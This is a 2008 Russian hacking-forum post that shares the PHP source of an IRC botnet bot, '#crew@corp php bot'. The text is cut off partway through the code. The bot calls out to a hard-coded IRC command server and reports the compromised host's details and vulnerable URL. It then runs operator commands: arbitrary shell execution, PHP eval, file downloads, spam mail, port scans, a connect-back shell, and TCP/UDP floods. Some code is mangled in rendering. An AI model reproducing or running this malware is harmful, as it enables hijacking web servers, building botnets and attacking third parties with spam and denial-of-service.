Forum.XakepOK.ORG
ГЛАВНАЯ  |  ФОРУМ  |  НОВОСТИ  |  СТАТЬИ  |  РЕЛИЗЫ  |  E-BOOKS  |  СКАЧАТЬ  |  WEB-TOOLS  |  СНИФФЕР  |  ЮЗЕРБАРЫ  |  О НАС
Баннер CyberHost

Всем пользователям сменены пароли!!! Подробнее здесь


Вернуться   ..::XAKEPOK.ORG::.. ФОРУМ - Лучший форум по сетевой безопасности > Взлом и безопасность > ICQ > IRC
Регистрация Доска почета Справка Пользователи Календарь Поиск Сообщения за день Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 03.12.2008, 01:00   #1
незнакомец
 
Регистрация: 30.12.2007
Сообщений: 8
Репутация: Нездешний (0)
Комментарии к репутации
По умолчанию #crew@corp php bot

PHP код:
<? 

/*
 *
 *  #crew@corp. since 2003
 *  edited by: devil__ and MEIAFASE <admin@xdevil.org> <meiafase@pucorp.org>
 *  Friend: LP <fuckerboy@sercret.gov>
 *  COMMANDS:
 *
 *  .user <password> //login to the bot
 *  .logout //logout of the bot
 *  .die //kill the bot
 *  .restart //restart the bot
 *  .mail <to> <from> <subject> <msg> //send an email
 *  .dns <IP|HOST> //dns lookup
 *  .download <URL> <filename> //download a file
 *  .exec <cmd> // uses exec() //execute a command
 *  .sexec <cmd> // uses shell_exec() //execute a command
 *  .cmd <cmd> // uses popen() //execute a command
 *  .info //get system information
 *  .php <php code> // uses eval() //execute php code
 *  .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
 *  .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
 *  .raw <cmd> //raw IRC command
 *  .rndnick //change nickname
 *  .pscan <host> <port> //port scan
 *  .safe  // test safe_mode (dvl)
 *  .inbox <to> // test inbox (dvl)
 *  .conback <ip> <port> // conect back (dvl)
 *  .uname // return shell's uname using a php function (dvl)
 *
 */

set_time_limit(0); 
error_reporting(0); 
echo 
"ok!";

class 
pBot 

 var 
$config = array("server"=>"irc.mrneti.cjb.net",
                     
"port"=>"3090",
                     
"pass"=>"tc-crew",
                     
"prefix"=>"MrNETi",
                     
"maxrand"=>"4",
                     
"chan"=>"#tc-crew",
                     
"chan2"=>"#tc-crew",
                     
"key"=>"tc-crew",
                     
"modes"=>"+p",
                     
"password"=>"tc-crew",
                     
"trigger"=>".",
                     
"hostauth"=>"mrneti.com" // * for any hostname (remember: /setvhost pucorp.org)
                     
);
 var 
$users = array(); 
 function 
start() 
 { 
    if(!(
$this->conn fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) 
       
$this->start(); 
    
$ident $this->config['prefix'];
    
$alph range("0","9");
    for(
$i=0;$i<$this->config['maxrand'];$i++) 
       
$ident .= $alph[rand(0,9)];
    if(
strlen($this->config['pass'])>0
       
$this->send("PASS ".$this->config['pass']);
    
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
    
$this->set_nick();
    
$this->main();
 } 
 function 
main() 
 { 
    while(!
feof($this->conn)) 
    { 
       
$this->buf trim(fgets($this->conn,512)); 
       
$cmd explode(" ",$this->buf); 
       if(
substr($this->buf,0,6)=="PING :"
       { 
          
$this->send("PONG :".substr($this->buf,6)); 
       } 
       if(isset(
$cmd[1]) && $cmd[1] =="001"
       { 
          
$this->send("MODE ".$this->nick." ".$this->config['modes']); 
          
$this->join($this->config['chan'],$this->config['key']);
          if (@
ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode "on"; }
          else { 
$safemode "off"; }
          
$uname php_uname();
          
$this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
          
$this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
       } 
       if(isset(
$cmd[1]) && $cmd[1]=="433"
       { 
          
$this->set_nick(); 
       } 
       if(
$this->buf != $old_buf
       { 
          
$mcmd = array(); 
          
$msg substr(strstr($this->buf," :"),2); 
          
$msgcmd explode(" ",$msg); 
          
$nick explode("!",$cmd[0]); 
          
$vhost explode("@",$nick[1]); 
          
$vhost $vhost[1]; 
          
$nick substr($nick[0],1); 
          
$host $cmd[0]; 
          if(
$msgcmd[0]==$this->nick
          { 
           for(
$i=0;$i<count($msgcmd);$i++) 
              
$mcmd[$i] = $msgcmd[$i+1]; 
          } 
          else 
          { 
           for(
$i=0;$i<count($msgcmd);$i++) 
              
$mcmd[$i] = $msgcmd[$i]; 
          } 
          if(
count($cmd)>2
          { 
             switch(
$cmd[1]) 
             { 
                case 
"QUIT"
                   if(
$this->is_logged_in($host)) 
                   { 
                      
$this->log_out($host); 
                   } 
                break; 
                case 
"PART"
                   if(
$this->is_logged_in($host)) 
                   { 
                      
$this->log_out($host); 
                   } 
                break; 
                case 
"PRIVMSG"
                   if(!
$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) 
                   { 
                      if(
substr($mcmd[0],0,1)=="."
                      { 
                         switch(
substr($mcmd[0],1)) 
                         { 
                            case 
"user"
                              if(
$mcmd[1]==$this->config['password']) 
                              { 
                                 
$this->log_in($host);
                              } 
                              else 
                              { 
                                 
$this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
                              } 
                            break; 
                         } 
                      } 
                   } 
                   elseif(
$this->is_logged_in($host)) 
                   { 
                      if(
substr($mcmd[0],0,1)=="."
                      { 
                         switch(
substr($mcmd[0],1)) 
                         { 
                            case 
"restart"
                               
$this->send("QUIT :restart commando from $nick");
                               
fclose($this->conn); 
                               
$this->start(); 
                            break; 
                            case 
"mail"//mail to from subject message 
                               
if(count($mcmd)>4
                               { 
                                  
$header "From: <".$mcmd[2].">"
                                  if(!
mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) 
                                  { 
                                     
$this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
                                  } 
                                  else 
                                  { 
                                     
$this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2"); 
                                  } 
                               } 
                            break;
                            case 
"safe":
                               if (@
ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
                               {
                               
$safemode "on";
                               }
                               else {
                               
$safemode "off";
                               }
                               
$this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
                            break;
                            case 
"inbox"//teste inbox
                               
if(isset($mcmd[1]))
                               {
                                  
$token md5(uniqid(rand(), true));
                                  
$header "From: <inbox".$token."@xdevil.org>";
                                  
$a php_uname();
                                  
$b getenv("SERVER_SOFTWARE");
                                  
$c gethostbyname($_SERVER["HTTP_HOST"]);
                                  if(!
mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl <admin@xdevil.org>",$header))
                                  {
                                     
$this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
                                  }
                                  else
                                  {
                                     
$this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
                                  }
                               }
                            break;
                            case 
"conback":
                               if(
count($mcmd)>2)
                               {
                                  
$this->conback($mcmd[1],$mcmd[2]);
                               }
                            break;
                            case 
"dns"
                               if(isset(
$mcmd[1])) 
                               { 
                                  
$ip explode(".",$mcmd[1]); 
                                  if(
count($ip)==&& is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) 
                                  { 
                                     
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); 
                                  } 
                                  else 
                                  { 
                                     
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); 
                                  } 
                               } 
                            break; 
                            case 
"info":
                            case 
"vunl":
                               if (@
ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode "on"; }
                               else { 
$safemode "off"; }
                               
$uname php_uname();
                               
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
                               
$this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
                            break;
                            case 
"bot":
                               
$this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp.");
                            break;
                            case 
"uname":
                               if (@
ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode "on"; }
                               else { 
$safemode "off"; }
                               
$uname php_uname();
                               
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
                            break;
                            case 
"rndnick"
                               
$this->set_nick(); 
                            break; 
                            case 
"raw":
                               
$this->send(strstr($msg,$mcmd[1])); 
                            break; 
                            case 
"eval":
                              
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                            break;
                            case 
"sexec":
                               
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               
$exec shell_exec($command); 
                               
$ret explode("\n",$exec); 
                               for(
$i=0;$i<count($ret);$i++) 
                                  if(
$ret[$i]!=NULL
                                     
$this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 

                            case 
"exec"
                               
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               
$exec exec($command); 
                               
$ret explode("\n",$exec); 
                               for(
$i=0;$i<count($ret);$i++) 
                                  if(
$ret[$i]!=NULL
                                     
$this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 

                            case 
"passthru"
                               
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               
$exec passthru($command); 
                               
$ret explode("\n",$exec); 
                               for(
$i=0;$i<count($ret);$i++) 
                                  if(
$ret[$i]!=NULL
                                     
$this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 

                            case 
"popen"
                               if(isset(
$mcmd[1])) 
                               { 
                                  
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                                  
$this->privmsg($this->config['chan'],"[\2popen\2]: $command");
                                  
$pipe popen($command,"r"); 
                                  while(!
feof($pipe)) 
                                  { 
                                     
$pbuf trim(fgets($pipe,512)); 
                                     if(
$pbuf != NULL
                                        
$this->privmsg($this->config['chan'],"     : $pbuf"); 
                                  } 
                                  
pclose($pipe); 
                               }  
               
                            case 
"system"
                               
$command substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               
$exec system($command); 
                               
$ret explode("\n",$exec); 
                               for(
$i=0;$i<count($ret);$i++) 
                                  if(
$ret[$i]!=NULL
                                     
$this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 


                            case 
"pscan"// .pscan 127.0.0.1 6667 
                               
if(count($mcmd) > 2
                               { 
                                  if(
fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) 
                                     
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2"); 
                                  else 
                                     
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2"); 
                               } 
                            break; 
                            case 
"ud.server"// .ud.server <server> <port> [password] 
                               
if(count($mcmd)>2
                               { 
                                  
$this->config['server'] = $mcmd[1]; 
                                  
$this->config['port'] = $mcmd[2]; 
                                  if(isset(
$mcmcd[